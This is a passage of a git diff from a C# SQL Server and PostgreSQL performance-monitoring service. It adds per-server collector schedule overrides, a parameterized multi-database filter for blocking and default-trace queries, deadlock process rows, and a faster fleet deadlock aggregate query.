         NpgsqlDataSource postgres, int serverId, DateTime windowStartUtc, CancellationToken cancellationToken = default)
     {
         var rows = new List<CollectorHealth>();
+        /* #4999: the schedule read finishes before the health statement's reader opens, so one call never holds two. */
+        var scheduleOverrides = await ReadScheduleOverridesAsync(postgres, serverId, cancellationToken);
         await using var command = postgres.CreateCommand(CollectionHealthSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         AddInt(command, serverId);
@@ -2755,9 +3787,107 @@ and will not grow one (see FleetCollectionHealthSql). */
             });
         }
 
+        ApplyScheduledFrequencies(rows, serverId, scheduleOverrides);
         return rows;
     }
 
+    /// <summary>
+    /// #4999: this server's collector schedule overrides, its own rows and the fleet-wide ones, the two levels
+    /// the worker layers over the shipped defaults. The table is sparse (an absent row is the default), so this
+    /// is usually empty. Only the frequency matters here: the retention and enabled columns ride along because
+    /// <see cref="ScheduleOverride"/> carries them, and a collector's database scope is not read.
+    /// </summary>
+    internal const string ScheduleOverridesSql = @"
+SELECT server_id, collector_name, frequency_minutes, retention_days, enabled
+FROM config.config_collector_schedules
+WHERE server_id = $1
+OR    server_id IS NULL";
+
+    /// <summary>
+    /// #4999: every collector schedule override row, the fleet-wide ones and every server's own, for the fleet
+    /// roll-up (<see cref="DarlingFleetReader"/>), which bands the collectors of every server in one read and so
+    /// needs each server's rows. The same columns as <see cref="ScheduleOverridesSql"/>, read the same way.
+    /// </summary>
+    internal const string AllScheduleOverridesSql = @"
+SELECT server_id, collector_name, frequency_minutes, retention_days, enabled
+FROM config.config_collector_schedules";
+
+    /// <summary>
+    /// #4999: reads <see cref="ScheduleOverridesSql"/> for one server, or <see cref="AllScheduleOverridesSql"/> when
+    /// <paramref name="serverId"/> is null. A failure to read costs the roll-up nothing but the
+    /// overrides: every row then keeps the shipped cadence it was judged by before, and the health read still
+    /// answers. The warning goes through <see cref="ReadScope"/>: the recorder's logger when a scope is open,
+    /// Trace otherwise. A cancellation is not swallowed.
+    /// </summary>
+    internal static async Task<IReadOnlyList<ScheduleOverride>> ReadScheduleOverridesAsync(
+        NpgsqlDataSource postgres, int? serverId, CancellationToken cancellationToken)
+    {
+        var overrides = new List<ScheduleOverride>();
+        try
+        {
+            await using var command = postgres.CreateCommand(serverId is null ? AllScheduleOverridesSql : ScheduleOverridesSql);
+            command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            if (serverId is int scopedServerId)
+            {
+                AddInt(command, scopedServerId);
+            }
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                overrides.Add(new ScheduleOverride(
+                    reader.IsDBNull(0) ? null : reader.GetInt32(0),
+                    reader.GetString(1),
+                    reader.IsDBNull(2) ? null : reader.GetInt32(2),
+                    reader.IsDBNull(3) ? null : reader.GetInt32(3),
+                    reader.GetBoolean(4)));
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ReadScope.Warn($"#4999 collection health could not read the collector schedule overrides for server {serverId}; its collectors are judged by their shipped cadences", ex);
+            return Array.Empty<ScheduleOverride>();
+        }
+
+        return overrides;
+    }
+
+    /// <summary>
+    /// #4999: stamps each catalog collector's row with the interval the worker schedules it at on
+    /// <paramref name="serverId"/>. The resolution is <see cref="StoreConfigProvider.ResolveSchedule"/>, the call
+    /// the worker's dispatch makes (a per-server override, else the fleet-wide one, else the shipped default,
+    /// with an override that cannot be honoured falling through), then
+    /// <see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/> exactly as the dispatch does,
+    /// so an on-load collector reads as its daily recapture. A name the catalog does not know is left unstamped:
+    /// <c>ResolveSchedule</c> indexes the catalog and would throw on it. Pure, so a test applies a set of
+    /// overrides without a store.
+    /// </summary>
+    internal static void ApplyScheduledFrequencies(
+        IEnumerable<CollectorHealth> rows, int serverId, IReadOnlyList<ScheduleOverride> overrides)
+    {
+        foreach (var row in rows)
+        {
+            ApplyScheduledFrequency(row, serverId, overrides);
+        }
+    }
+
+    /// <summary>
+    /// #4999: <see cref="ApplyScheduledFrequencies"/> for one row. The fleet roll-up
+    /// (<see cref="DarlingFleetReader"/>) stamps each (server, collector) row it reads through this, so its band
+    /// and the per-server read's come from the one resolution.
+    /// </summary>
+    internal static void ApplyScheduledFrequency(
+        CollectorHealth row, int serverId, IReadOnlyList<ScheduleOverride> overrides)
+    {
+        if (!CollectorScheduleDefaults.All.ContainsKey(row.CollectorName))
+        {
+            return;
+        }
+
+        row.EffectiveFrequencyMinutes = CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(
+            StoreConfigProvider.ResolveSchedule(row.CollectorName, serverId, overrides).FrequencyMinutes);
+    }
+
     /// <summary>One completed per-server collection-health read (#3856): the rows
     /// <see cref="GetCollectionHealthAsync"/> produced and the <c>nowUtc</c> the scan was started with — both
     /// the instant its window was cut from and the instant <c>collection_health_age_seconds</c> is measured
@@ -3560,9 +4690,11 @@ public static async Task<List<WaitingTaskTrendRow>> GetWaitingTaskTrendAsync(
     /// session rather than every waiting task. The optional database filter is kept from the viewer's read
     /// rather than dropped for a simpler signature: on a busy instance one database usually owns the
     /// blocking, and a series that cannot be narrowed to it answers a different question from the one the
-    /// viewer answers. $1 server_id, $2 start, $3 end (naive UTC), $4 database name or NULL.</para>
+    /// viewer answers. $1 server_id, $2 start, $3 end (naive UTC), $4 the databases as one <c>text[]</c> (#5244): SQL NULL
+    /// is every database, otherwise the series is limited to the named ones (<see cref="DatabaseFilter.Clause"/>, so one name
+    /// and several are the same statement text).</para>
     /// </summary>
-    public const string BlockedSessionTrendSql = """
+    public static readonly string BlockedSessionTrendSql = $$"""
         SELECT
             collection_time,
             database_name,
@@ -3573,7 +4705,7 @@ AND   blocking_session_id > 0
         AND   collection_time >= $2
         AND   collection_time <= $3
         AND   database_name IS NOT NULL
-        AND   ($4::text IS NULL OR database_name = $4)
+        {{DatabaseFilter.All.Clause("database_name", 4)}}
         GROUP BY
             collection_time,
             database_name
@@ -3582,10 +4714,19 @@ ORDER BY
             database_name
         """;
 
-    /// <summary>Runs <see cref="BlockedSessionTrendSql"/>.</summary>
+    /// <summary>Runs <see cref="BlockedSessionTrendSql"/> for one database (a blank name is every database).</summary>
+    public static Task<List<BlockedSessionTrendRow>> GetBlockedSessionTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
+        string? databaseName = null, CancellationToken cancellationToken = default) =>
+        GetBlockedSessionTrendAsync(postgres, serverId, startUtc, endUtc, DatabaseFilter.One(databaseName), cancellationToken);
+
+    /// <summary>
+    /// <see cref="BlockedSessionTrendSql"/> over a SET of databases (#5244): <paramref name="databases"/> empty
+    /// (<see cref="DatabaseFilter.All"/>) is every database, otherwise only the named databases' blocked sessions are counted.
+    /// </summary>
     public static async Task<List<BlockedSessionTrendRow>> GetBlockedSessionTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
-        string? databaseName = null, CancellationToken cancellationToken = default)
+        DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<BlockedSessionTrendRow>();
         await using var command = postgres.CreateCommand(BlockedSessionTrendSql);
@@ -3593,11 +4734,7 @@ public static async Task<List<BlockedSessionTrendRow>> GetBlockedSessionTrendAsy
         AddInt(command, serverId);
         AddTimestamp(command, startUtc);
         AddTimestamp(command, endUtc);
-        command.Parameters.Add(new NpgsqlParameter
-        {
-            Value = string.IsNullOrWhiteSpace(databaseName) ? DBNull.Value : databaseName,
-            NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text,
-        });
+        AddDatabases(command, databases);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -3613,24 +4750,31 @@ public static async Task<List<BlockedSessionTrendRow>> GetBlockedSessionTrendAsy
     /// <summary>
     /// Blocking-duration aggregate per minute, the viewer's Blocking Stats read verbatim.
     /// <para>XE blocked-process reports are the primary source and the DMV snapshot is the fallback, and
-    /// the fallback contributes ONLY when the XE source has no rows in the window at all. Mixing them
+    /// the fallback contributes ONLY when the XE source has no rows in the window (for the chosen databases, when filtered). Mixing them
     /// would double-count the same incident from two captures, so it is a fallback and never a union.
     /// $1 server_id, $2 start, $3 end (naive UTC). $4 is the <see cref="EventWindowFloor"/> for $2 — both
     /// tables are hypertables partitioned on <c>collection_time</c>, which this event-time window alone
     /// gives the planner nothing to exclude a chunk on (#4229); the floor lets it skip every chunk older
     /// than the window, without being able to drop a row (an event is collected after it happens).</para>
+    /// <para>$5 is the databases as one <c>text[]</c> (#5244, <see cref="DatabaseFilter.Clause"/>): SQL NULL is every database,
+    /// otherwise BOTH arms count only the named databases' rows, and the rule above is read over those rows: the DMV fallback
+    /// is taken only when the XE source has no row for the CHOSEN databases (<c>NOT EXISTS (SELECT 1 FROM bpr)</c> over the
+    /// filtered <c>bpr</c>), exactly as the desktop's blocking reads and <c>get_blocking_trend</c> choose, so the tools answer
+    /// from one source for one filter and the two sources are never mixed. The unfiltered series is exactly what it was.</para>
     /// </summary>
-    public const string BlockingDurationStatsSql = """
+    public static readonly string BlockingDurationStatsSql = $$"""
         WITH bpr AS (
             SELECT
                 DATE_TRUNC('minute', event_time) AS bucket,
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'blocked-process-report' AS source
             FROM v_blocked_process_reports
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            {{DatabaseFilter.All.Clause("database_name", 5)}}
             GROUP BY DATE_TRUNC('minute', event_time)
         ),
         dmv AS (
@@ -3639,20 +4783,23 @@ dmv AS (
                 COUNT(*) AS event_count,
                 CAST(SUM(wait_time_ms) AS bigint) AS total_duration_ms,
                 MAX(wait_time_ms) AS max_duration_ms,
-                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms
+                CAST(AVG(wait_time_ms) AS double precision) AS avg_duration_ms,
+                'DMV snapshot' AS source
             FROM v_dmv_blocking_snapshots
             WHERE server_id = $1 AND event_time >= $2 AND event_time <= $3
             AND   collection_time >= $4
+            {{DatabaseFilter.All.Clause("database_name", 5)}}
             GROUP BY DATE_TRUNC('minute', event_time)
         )
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM bpr
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM bpr
         UNION ALL
-        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
+        SELECT bucket, event_count, total_duration_ms, max_duration_ms, avg_duration_ms, source FROM dmv WHERE NOT EXISTS (SELECT 1 FROM bpr)
         ORDER BY bucket
         """;
 
+    /// <param name="Source">Which arm answered (#5244): "blocked-process-report" or "DMV snapshot", the tags <c>get_blocking</c> rows carry.</param>
     public sealed record BlockingDurationStatsRow(
-        DateTime Time, long EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs);
+        DateTime Time, long EventCount, long TotalDurationMs, long MaxDurationMs, double AvgDurationMs, string? Source = null);
 
     /// <summary>
     /// Whether ANY of the three capture paths behind the blocking-severity read has ever produced a row.
@@ -3682,10 +4829,19 @@ public static async Task<bool> HasAnyBlockingCaptureAsync(
         return await command.ExecuteScalarAsync(cancellationToken) is not null;
     }
 
-    /// <summary>Runs <see cref="BlockingDurationStatsSql"/>.</summary>
+    /// <summary>Runs <see cref="BlockingDurationStatsSql"/> over every database.</summary>
+    public static Task<List<BlockingDurationStatsRow>> GetBlockingDurationStatsAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
+        CancellationToken cancellationToken = default) =>
+        GetBlockingDurationStatsAsync(postgres, serverId, startUtc, endUtc, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// <see cref="BlockingDurationStatsSql"/> over a SET of databases (#5244): <paramref name="databases"/> empty
+    /// (<see cref="DatabaseFilter.All"/>) is every database, otherwise only the named databases' blocking events are bucketed.
+    /// </summary>
     public static async Task<List<BlockingDurationStatsRow>> GetBlockingDurationStatsAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
-        CancellationToken cancellationToken = default)
+        DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<BlockingDurationStatsRow>();
         await using var command = postgres.CreateCommand(BlockingDurationStatsSql);
@@ -3694,6 +4850,7 @@ public static async Task<List<BlockingDurationStatsRow>> GetBlockingDurationStat
         AddTimestamp(command, startUtc);
         AddTimestamp(command, endUtc);
         AddTimestamp(command, EventWindowFloor.For(startUtc));
+        AddDatabases(command, databases);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -3702,7 +4859,8 @@ public static async Task<List<BlockingDurationStatsRow>> GetBlockingDurationStat
                 reader.IsDBNull(1) ? 0 : Convert.ToInt64(reader.GetValue(1)),
                 reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
                 reader.IsDBNull(3) ? 0 : Convert.ToInt64(reader.GetValue(3)),
-                reader.IsDBNull(4) ? 0 : Convert.ToDouble(reader.GetValue(4))));
+                reader.IsDBNull(4) ? 0 : Convert.ToDouble(reader.GetValue(4)),
+                reader.IsDBNull(5) ? null : reader.GetString(5)));
         }
 
         return rows;
@@ -3755,6 +4913,11 @@ private static void AddInt(NpgsqlCommand command, int value) =>
     private static void AddText(NpgsqlCommand command, string value) =>
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = value ?? "" });
 
+    /// <summary>#5245: binds the chosen databases as the ONE <c>text[]</c> parameter the list predicate
+    /// (<c>$n::text[] IS NULL OR database_name = ANY($n)</c>) reads: SQL NULL for every database.</summary>
+    private static void AddDatabases(NpgsqlCommand command, DatabaseFilter databases) =>
+        command.Parameters.Add(databases.Parameter());
+
     /// <summary>Binds a nullable text filter (a null value binds SQL NULL, activating the read's
     /// <c>$N::text IS NULL OR ...</c> "no filter" branch).</summary>
     private static void AddNullableText(NpgsqlCommand command, string? value) =>
@@ -4139,14 +5302,30 @@ defaulted zero reaching a surface as "stored nothing" is the #2804 hazard exactl
     /// on-load collector's catalog 0 reads as the daily recapture interval, which is what lets
     /// <see cref="CollectorHealthClassifier.Classify"/> band it on the SAME ladder as any other. A name the
     /// catalog doesn't know keeps 0 and the classifier's floor thresholds, as before #4000: resolving it to
-    /// daily too would leave a collector that went dark HEALTHY for a day and a half. The banding uses the
-    /// shipped default, not the resolved per-server override, so all three surfaces stay in parity. Internal
-    /// since #2296: the tool's sweep-pressure roll-up amortizes each collector's average duration by this same
-    /// cadence, so both readers of it share one resolution.</summary>
+    /// daily too would leave a collector that went dark HEALTHY for a day and a half. Internal since #2296:
+    /// the tool's sweep-pressure roll-up amortizes each collector's average duration by this same cadence, so
+    /// both readers of it share one resolution.
+    ///
+    /// <para>#4999: the cadence the collector RUNS at on this server, when the read that built the row stamped
+    /// it (<see cref="EffectiveFrequencyMinutes"/>): the per-server schedule override, else the fleet-wide one,
+    /// else the shipped default, the order the worker's dispatch resolves it in. The band, the roll-up and the
+    /// roll-up's test for what runs in the sweep body therefore judge a collector scheduled every 720 minutes
+    /// against 720, not against the cadence it shipped with. The fleet roll-up builds its own rows and stamps them
+    /// the same way (<c>DarlingFleetReader.MapFleetHealthRow</c>); a row nothing stamped keeps the shipped
+    /// default.</para></summary>
     internal int FrequencyMinutes =>
-        CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
+        EffectiveFrequencyMinutes
+        ?? (CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
             ? CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes)
-            : 0;
+            : 0);
+
+    /// <summary>
+    /// #4999: the interval, in minutes, this collector is scheduled at on the server the row was read for, as
+    /// <see cref="DarlingDataReader.ApplyScheduledFrequencies"/> resolves it, or null when nothing resolved one
+    /// (an unknown collector name, a row built outside the per-server health read). Set once, inside the read
+    /// that builds the row, because that read is memoized and its rows are shared between callers.
+    /// </summary>
+    internal int? EffectiveFrequencyMinutes { get; set; }
 
     /// <summary>
     /// The row's band: the shared ladder's verdict, with #3819's regression FLOOR applied over it —
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDeadlockProcessRows.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDeadlockProcessRows.cs
new file mode 100644
index 0000000000..9a11e8a570
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDeadlockProcessRows.cs
@@ -0,0 +1,91 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Common;
+using static PerformanceMonitor.Common.DeadlockGraphProcessParser;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The per-process rows of one deadlock graph for <c>get_deadlock_detail</c>: the same rows the desktop
+/// viewer's Deadlocks grid shows, produced by the same shared walk (<see cref="DeadlockGraphProcessParser"/>)
+/// so the browser never parses the XML. A value the graph did not carry is left off the row rather than
+/// sent as an empty string.
+/// </summary>
+public static class DarlingDeadlockProcessRows
+{
+    /// <summary>Most process rows sent for one deadlock; the rest are counted in <c>processes_truncated</c>.
+    /// A real graph has two to a handful of parties, and a parallel deadlock can list dozens.</summary>
+    public const int MaxProcessesPerDeadlock = 12;
+
+    /// <summary>Statement text is previewed to this length per process when the caller asked for the whole graph
+    /// (<c>full_graph</c> or a <c>dedup_key</c>); the statement is also in the graph XML.</summary>
+    public const int StatementPreviewLength = 500;
+
+    /// <summary>The default call's statement preview, shorter so a page of deadlocks fits the response budget.</summary>
+    public const int DefaultStatementPreviewLength = 100;
+
+    /// <summary>Process rows across one default page; later deadlocks get what is left, and the rest are counted
+    /// in each deadlock's <c>processes_truncated</c>. A whole-graph call is exempt.</summary>
+    public const int DefaultPageRowBudget = 24;
+
+    /// <summary>The parsed rows for one graph, or an empty list when the graph does not parse (the shared walk's
+    /// victim-only fallback row carries a fabricated session id, so it is not used here).</summary>
+    public static List<DeadlockProcessInfo> Parse(string? graphXml, DateTime? deadlockTime)
+        => TryParseGraph<DeadlockProcessInfo>(new DeadlockGraphInput(graphXml, deadlockTime, null, null), out var rows)
+            ? rows
+            : new List<DeadlockProcessInfo>();
+
+    /// <summary>One row as a name-to-value map with the absent values left out.</summary>
+    public static Dictionary<string, object> ToRow(DeadlockProcessInfo p, int statementLength = StatementPreviewLength)
+    {
+        var row = new Dictionary<string, object>
+        {
+            ["victim"] = p.IsVictim,
+            ["spid"] = p.Spid,
+            ["wait_time_ms"] = p.WaitTime,
+            ["log_used"] = p.LogUsed,
+            ["transaction_count"] = p.TransactionCount,
+            ["priority"] = p.Priority,
+        };
+        Put(row, "process_id", p.ProcessId);
+        Put(row, "deadlock_type", p.DeadlockType);
+        Put(row, "database_name", p.DatabaseName);
+        Put(row, "object_names", p.ObjectNames);
+        Put(row, "proc_name", p.ProcName);
+        Put(row, "lock_mode", p.LockMode);
+        Put(row, "owner_mode", p.OwnerMode);
+        Put(row, "waiter_mode", p.WaiterMode);
+        Put(row, "wait_resource", p.WaitResource);
+        Put(row, "isolation_level", p.IsolationLevel);
+        Put(row, "transaction_name", p.TransactionName);
+        Put(row, "login_name", p.LoginName);
+        Put(row, "host_name", p.HostName);
+        Put(row, "client_app", p.ClientApp);
+        Put(row, "status", p.Status);
+        Put(row, "sql_text", McpHelpers.TruncateStatement(p.SqlText, statementLength));
+        return row;
+    }
+
+    /// <summary>The rows for one graph, capped, plus how many were left off.</summary>
+    public static (List<Dictionary<string, object>> Rows, int Truncated) Build(
+        string? graphXml, DateTime? deadlockTime, int maxRows = MaxProcessesPerDeadlock, int statementLength = StatementPreviewLength)
+    {
+        var all = Parse(graphXml, deadlockTime);
+        var rows = all.Take(Math.Min(maxRows, MaxProcessesPerDeadlock)).Select(p => ToRow(p, statementLength)).ToList();
+        return (rows, all.Count - rows.Count);
+    }
+
+    private static void Put(Dictionary<string, object> row, string key, string? value)
+    {
+        if (!string.IsNullOrEmpty(value)) row[key] = value;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs
index 8f0b3b33fd..06bae30a7e 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDefaultTraceReader.cs
@@ -96,6 +96,11 @@ public sealed record DefaultTraceEventRow(
     /// <c>collection_time</c>, which this event-time window alone gives the planner nothing to exclude a chunk
     /// on (#4229). The real UTC event time is always ≤ <c>collection_time</c> (store UTC at collection), so the
     /// floor cannot drop a qualifying row.</para>
+    ///
+    /// <para>#5245: $5 is the chosen databases as ONE <c>text[]</c> (SQL NULL for every database, so the statement text
+    /// never changes with the selection): <c>database_name = ANY($5)</c>, a residual filter inside the window. An event
+    /// with no database name (a server-level event) is not in any chosen database, as on the desktop. Like the
+    /// window, it is applied in SQL before the tool's page limit, so the page is the top N of the chosen databases.</para>
     /// </summary>
     public const string EventsByWindowSql = """
         WITH svr AS (
@@ -128,12 +133,21 @@ ORDER BY sp.collection_time DESC
         AND   dte.event_time - make_interval(mins => svr.offset_minutes) >= $2 - interval '1 hour'
         AND   dte.event_time - make_interval(mins => svr.offset_minutes) <= $3 + interval '1 hour'
         AND   dte.collection_time >= $4
+        AND   ($5::text[] IS NULL OR dte.database_name = ANY($5))
         ORDER BY event_time_local DESC
         """;
 
-    /// <summary>Reads the stored Default Trace event rows over the window (newest first).</summary>
+    /// <summary>Reads the stored Default Trace event rows over the window (newest first), for every database.</summary>
+    public static Task<List<DefaultTraceEventRow>> ReadEventsAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        ReadEventsAsync(postgres, serverId, startUtc, endUtc, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245): <see cref="DatabaseFilter.All"/> is every database, and the
+    /// names are bound once as the <c>text[]</c> <see cref="EventsByWindowSql"/> reads as <c>$5</c>.
+    /// </summary>
     public static async Task<List<DefaultTraceEventRow>> ReadEventsAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
 
@@ -141,6 +155,7 @@ public static async Task<List<DefaultTraceEventRow>> ReadEventsAsync(
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
         DarlingMcpReadParameters.AddTimestamp(command, EventWindowFloor.For(startUtc));
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         return await ReadEventRowsAsync(reader, clock, startUtc, endUtc, cancellationToken);
     }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingEngineCapability.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingEngineCapability.cs
index 7732f2c7fd..40fbb4b228 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingEngineCapability.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingEngineCapability.cs
@@ -112,7 +112,7 @@ public static async Task<int> EngineEditionAsync(
     /// is the KIND that carries the fact. A NULL kind is a row no connect has stamped since V82 landed, which
     /// makes no claim on that axis and leaves the edition axis answering exactly as it did before (#2530).</para>
     /// </summary>
-    private static async Task<(int EngineEdition, string? EngineKind)> ReadServerEngineAsync(
+    internal static async Task<(int EngineEdition, string? EngineKind)> ReadServerEngineAsync(
         NpgsqlDataSource postgres,
         int serverId,
         CancellationToken cancellationToken)
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs
index 17441974c4..549a67eb37 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs
@@ -85,8 +85,8 @@ internal static class DarlingFleetReader
     /// <para>The <c>is_silenced</c> column (#2031) is the SQL mirror of the Viewer's
     /// <c>ViewerDataService.IsWholeServerSilence</c> predicate — an enabled, unexpired mute rule scoped to the
     /// server (matched on the store server id when the rule carries one, else — a legacy rule — case-insensitively on the
-    /// same COALESCE(display, storage) name the card shows) with NO narrowing pattern on any other field. Display-only: the
-    /// web seat has no silence action; this exists so a dataless-quiet server and a silenced one stop looking
+    /// same COALESCE(display, storage) name the card shows) with NO narrowing pattern on any other field. The
+    /// column is read-only; the fleet page's Silence / Unsilence button writes the rule it reads back. It exists so a dataless-quiet server and a silenced one stop looking
     /// identical on the fleet cards and to <c>get_fleet_overview</c>.</para> $ none.</summary>
     public const string FleetServersSql = @"
 SELECT s.server_id, COALESCE(s.display_name, s.server_name) AS display_name, s.server_name, s.sql_engine_edition, s.engine_kind,
@@ -437,25 +437,77 @@ FROM v_deadlocks
     /// keeps the read to the window's chunk(s): on the one-minute cadence the default hour is ~60 rows per
     /// database per server, and the fleet's whole hour is tens of thousands of rows behind the
     /// <c>(server_id, collection_time)</c> index — the same order as <see cref="FleetBlockingSql"/>'s
-    /// two scans.</para></summary>
+    /// two scans.</para>
+    ///
+    /// <para><b>Only the pairs that moved are ordered (#5526).</b> The read used to be one <c>LAG</c> window,
+    /// <c>PARTITION BY server_id, database_name</c>, over every server's rows, so one sort and one window pass
+    /// covered the whole fleet's window. On a store with 50 PostgreSQL targets that took 6.8 s for 7 days (168
+    /// hours, the most <c>get_fleet_overview</c> and <c>/api/fleet</c> accept), most of it the sort and the window
+    /// rather than I/O; this form took 0.68 to 0.77 s there, with 433 of 443 pairs flat. A
+    /// <c>(server_id, database_name)</c> pair that never changes its counter inside a window needs no ordering:
+    /// with every sample equal, every difference is 0. So <c>pairs</c> first takes ONE
+    /// unordered aggregate over the window (rows, rows with a counter, min, max) and marks a pair <c>flat</c>
+    /// when it has a counter in every row (<c>count(deadlocks) = count(*)</c>) and the counter never moves
+    /// (<c>min = max</c>). A flat pair of <c>n</c> samples has <c>n - 1</c> differences, all 0, so it adds 0 to
+    /// <c>cnt</c>, nothing to <c>last_seen</c> and <c>n - 1</c> to <c>intervals</c>, exactly what the ordered
+    /// form gave it; that is arithmetic, not an estimate. Every other pair (any change, any NULL counter, a
+    /// column that is NULL throughout, a reset) goes through the old ordered <c>LAG</c> unchanged. The
+    /// <c>LATERAL</c> reads one server at a time (<c>server_id = s.server_id</c>, the hypertable's segmentby, so a
+    /// compressed chunk is read through its segment index and no sort or window covers more than one server's
+    /// rows) and keeps only that server's ordered pairs by name, the NULL-named shared-relation series by
+    /// <c>IS NULL</c> because <c>= ANY</c> never matches NULL. A server with no ordered pair skips the read
+    /// (the pair test is a one-time filter on the lateral), and still gets its row: <c>cnt</c> 0,
+    /// <c>last_seen</c> NULL, <c>intervals</c> the flat pairs' sum. A server whose only row in the window is
+    /// one sample still gets its row with <c>intervals</c> 0, and a server with no row in the window still does
+    /// not appear. <c>FleetTotalsSql</c> in the viewer is the same shape, keeping only the total.</para></summary>
     public const string FleetPgDeadlockSql = @"
-WITH sampled AS
+WITH pairs AS
 (
     SELECT
         server_id,
-        collection_time,
-        deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time) AS raw_delta
+        database_name,
+        count(*) AS n,
+        (count(deadlocks) = count(*) AND min(deadlocks) = max(deadlocks)) AS flat
     FROM pg_database_stats
     WHERE collection_time >= $1
     AND   collection_time <= $2
+    GROUP BY server_id, database_name
+),
+window_servers AS
+(
+    SELECT
+        server_id,
+        CAST(coalesce(SUM(n - 1) FILTER (WHERE flat), 0) AS bigint) AS flat_intervals,
+        array_agg(database_name) FILTER (WHERE NOT flat AND database_name IS NOT NULL) AS ordered_names,
+        coalesce(bool_or(database_name IS NULL) FILTER (WHERE NOT flat), false) AS ordered_null_name
+    FROM pairs
+    GROUP BY server_id
 )
 SELECT
-    server_id,
-    CAST(coalesce(SUM(GREATEST(raw_delta, 0)), 0) AS bigint) AS cnt,
-    MAX(collection_time) FILTER (WHERE raw_delta > 0) AS last_seen,
-    CAST(count(raw_delta) AS bigint) AS intervals
-FROM sampled
-GROUP BY server_id";
+    s.server_id,
+    d.cnt,
+    d.last_seen,
+    s.flat_intervals + d.intervals AS intervals
+FROM window_servers AS s
+CROSS JOIN LATERAL
+(
+    SELECT
+        CAST(coalesce(SUM(GREATEST(sampled.raw_delta, 0)), 0) AS bigint) AS cnt,
+        MAX(sampled.collection_time) FILTER (WHERE sampled.raw_delta > 0) AS last_seen,
+        CAST(count(sampled.raw_delta) AS bigint) AS intervals
+    FROM
+    (
+        SELECT
+            collection_time,
+            deadlocks - LAG(deadlocks) OVER (PARTITION BY database_name ORDER BY collection_time) AS raw_delta
+        FROM pg_database_stats
+        WHERE (cardinality(s.ordered_names) > 0 OR s.ordered_null_name)
